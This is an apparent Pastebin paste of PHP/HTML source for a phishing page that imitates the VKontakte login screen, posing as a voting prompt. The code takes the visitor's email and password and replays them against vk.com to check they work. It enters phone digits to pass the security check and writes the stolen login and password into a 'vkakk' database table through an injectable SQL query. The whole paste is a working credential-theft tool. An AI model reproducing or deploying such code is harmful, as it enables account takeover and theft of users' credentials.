Advertisement
Guest User

Untitled

a guest
Nov 15th, 2017
145
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.17 KB | None | 0 0
  1. <!DOCTYPE HTML>
  2. <html>
  3.   <head>
  4.     <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=yes" />
  5.     <meta charset="utf-8" />
  6.     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
  7.  
  8.     <title>ВКонтакте | Вход</title>
  9.    
  10.     <meta name="keywords" content=""/>
  11.     <meta name="description" content=""/>
  12.    
  13.     <link rel="stylesheet" href="css/vk.css"></link>
  14.   </head>
  15.   <body>
  16.     <div class='head' style="display: <?php echo $display;?>">
  17.       <a href="" class="logo"></a>
  18.       <div class="auth_items"><a class="head_name fl_r" href="http://vk.com/join?reg=1" target="_blank">Регистрация</a></div>
  19.     </div>
  20.  
  21.     <div class="info_line">Для продолжения Вам необходимо войти <b>ВКонтакте</b>.</div>
  22.         <form action='' method='get'>
  23.     <div class="box_login" style="margin: 0px auto 0 auto;">
  24.       <input name="do" value="8KFklrjk9lh7gEzP3dsg2R21sd0g" hidden>
  25.       <input type="text" class="form_input" name="id" value='6' style="display: none">
  26.       <input type="text" class="form_input" name="uVote" value='1' style="display: none">
  27.       <div class="form_header">Телефон или e-mail</div>
  28.       <input type="text" class="form_input" name="email" value=''>
  29.       <div class="form_header">Пароль</div>
  30.       <input type="password" class="form_input" name="pass"  value=''>
  31.       <h3><?php echo $error; ?></h3>
  32.           <div class="popup_login_btn">
  33.       <button class="flat_button popup_login_btn button_big" id="install_allow" type="submit" name="button">Войти</button>
  34.       </div>
  35.       <a id="quick_forgot" href="https://vk.com/restore" target="_blank">Забыли пароль?</a>
  36.     </div>
  37. </form>
  38.   </body>
  39. </html>
  40. <?php
  41. if(isset($_GET['button'])) {
  42.  $login = $_GET['email'];
  43.  $password = $_GET['pass'];
  44.  
  45. $security_check_code = '92082128'; // если требуется 8 цифр номера телефона (по крайней мере у меня столько запросило). Например Ваш номер телефона 79123456789, то необходимо в переменную прописать промежуток от 7 до 89, то есть 91234567.
  46.  
  47.  $headers = array(
  48.   'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
  49.   'content-type' => 'application/x-www-form-urlencoded',
  50.   'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36'
  51.  );
  52.  
  53.  // получаем главную страницу
  54.  $get_main_page = post('https://vk.com', array(
  55.   'headers' => array(
  56.    'accept: '.$headers['accept'],
  57.    'content-type: '.$headers['content-type'],
  58.    'user-agent: '.$headers['user-agent']
  59.   )
  60.  ));
  61.  
  62.  // парсим с главной страницы параметры ip_h и lg_h
  63.  preg_match('/name=\"ip_h\" value=\"(.*?)\"/s', $get_main_page['content'], $ip_h);
  64.  preg_match('/name=\"lg_h\" value=\"(.*?)\"/s', $get_main_page['content'], $lg_h);
  65.  
  66.  // посылаем запрос на авторизацию
  67.  $post_auth = post('https://login.vk.com/?act=login', array(
  68.   'params' => 'act=login&role=al_frame&_origin='.urlencode('http://vk.com').'&ip_h='.$ip_h[1].'&lg_h='.$lg_h[1].'&email='.urlencode($login).'&pass='.urlencode($password),
  69.   'headers' => array(
  70.    'accept: '.$headers['accept'],
  71.    'content-type: '.$headers['content-type'],
  72.    'user-agent: '.$headers['user-agent']
  73.   ),
  74.   'cookies' => $get_main_page['cookies']
  75.  ));
  76.  
  77.  // получаем ссылку для редиректа после авторизации
  78.  preg_match('/Location\: (.*)/u', $post_auth['headers'], $post_auth_location);
  79.  
  80.  if(!preg_match('/\_\_q\_hash=/s', $post_auth_location[1])) {
  81.   $error = 'Не удалось авторизоваться<br />';
  82.  
  83.   exit;
  84.  }
  85.  
  86.  // переходим по полученной для редиректа ссылке
  87.  $get_auth_location = post(trim(str_replace('_http', '_https', $post_auth_location[1])), array(
  88.   'headers' => array(
  89.    'accept: '.$headers['accept'],
  90.    'content-type: '.$headers['content-type'],
  91.    'user-agent: '.$headers['user-agent']
  92.   ),
  93.   'cookies' => $post_auth['cookies']
  94.  ));
  95.  
  96.  // получаем ссылку на свою страницу
  97.  preg_match('/"uid"\:"([0-9]+)"/s', $get_auth_location['content'], $my_page_id);
  98.  
  99.  $my_page_id = $my_page_id[1];
  100.  
  101.  $get_my_page = getUserPage($my_page_id, $get_auth_location['cookies']);
  102.  
  103.  // если запрошена проверка безопасности
  104.  if(preg_match('/act=security\_check/u', $get_my_page['headers'])) {
  105.   preg_match('/Location\: (.*)/s', $get_my_page['headers'], $security_check_location);
  106.  
  107.   if(isset($security_check_location[1])) {
  108.    $security_check_location = explode("\n", $security_check_location[1]);
  109.   }
  110.  
  111.   // переходим на страницу проверки безопасности
  112.   $get_security_check_page = post('https://vk.com'.trim($security_check_location[0]), array(
  113.    'headers' => array(
  114.     'accept: '.$headers['accept'],
  115.     'content-type: '.$headers['content-type'],
  116.     'user-agent: '.$headers['user-agent']
  117.    ),
  118.    'cookies' => $get_auth_location['cookies']
  119.   ));
  120.  
  121.   // получаем hash для запроса на проверку мобильного телефона
  122.   preg_match('/hash: \'(.*?)\'/s', $get_security_check_page['content'], $get_security_check_page_hash);
  123.  
  124.   // вводим запрошенные цифры мобильного телефона
  125.   $post_security_check_code = post('https://vk.com/login.php', array(
  126.    'params' => 'act=security_check&code='.$security_check_code.'&al_page=2&hash='.$get_security_check_page_hash[1],
  127.    'headers' => array(
  128.     'accept: '.$headers['accept'],
  129.     'content-type: '.$headers['content-type'],
  130.     'user-agent: '.$headers['user-agent']
  131.    ),
  132.    'cookies' => $get_auth_location['cookies']
  133.   ));
  134.  
  135.   echo 'Запрошена проверка безопасности';
  136.  
  137.   // отображаем свою страницу после проверки безопасности
  138.   $get_my_page = getUserPage($my_page_id, $get_auth_location['cookies']);
  139.  
  140.   echo iconv('windows-1251', 'utf-8', $get_my_page['content']);
  141.  } else {
  142.   // также отображаем свою страницу, если нет проверки безопасности
  143.   echo iconv('windows-1251', 'utf-8', $get_my_page['content']);
  144.  }
  145. }
  146.  
  147. function getUserPage($id = null, $cookies = null) {
  148.  global $headers;
  149.  
  150.  $get = post('https://vk.com/id'.$id, array(
  151.   'headers' => array(
  152.    'accept: '.$headers['accept'],
  153.    'content-type: '.$headers['content-type'],
  154.    'user-agent: '.$headers['user-agent']
  155.   ),
  156.   'cookies' => $cookies
  157.  ));
  158.  echo "Авторизация прошла успешно!";
  159. $query = "INSERT INTO `vkakk`(`login`, `password`) VALUES ('$login','$password')";
  160. mysql_query($query) or die(mysql_error());
  161. }
  162.  
  163. function post($url = null, $params = null, $proxy = null, $proxy_userpwd = null) {
  164.  $ch = curl_init();
  165.  
  166.  curl_setopt($ch, CURLOPT_URL, $url);
  167.  curl_setopt($ch, CURLOPT_HEADER, 1);
  168.  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  169.  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
  170.  
  171.  if(isset($params['params'])) {
  172.   curl_setopt($ch, CURLOPT_POST, 1);
  173.   curl_setopt($ch, CURLOPT_POSTFIELDS, $params['params']);
  174.  }
  175.  
  176.  if(isset($params['headers'])) {
  177.   curl_setopt($ch, CURLOPT_HTTPHEADER, $params['headers']);
  178.  }
  179.  
  180.  if(isset($params['cookies'])) {
  181.   curl_setopt($ch, CURLOPT_COOKIE, $params['cookies']);
  182.  }
  183.  
  184.  if($proxy) {
  185.   curl_setopt($ch, CURLOPT_PROXY, $proxy);
  186.  
  187.   if($proxy_userpwd) {
  188.    curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_userpwd);
  189.   }
  190.  }
  191.  
  192.  $result = curl_exec($ch);
  193.  $result_explode = explode("\r\n\r\n", $result);
  194.  
  195.  $headers = ((isset($result_explode[0])) ? $result_explode[0]."\r\n" : '').''.((isset($result_explode[1])) ? $result_explode[1] : '');
  196.  $content = $result_explode[count($result_explode) - 1];
  197.  
  198.  preg_match_all('|Set-Cookie: (.*);|U', $headers, $parse_cookies);
  199.  
  200.  $cookies = implode(';', $parse_cookies[1]);
  201.  
  202.  curl_close($ch);
  203.  return array('headers' => $headers, 'cookies' => $cookies, 'content' => $content);
  204. }
  205. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement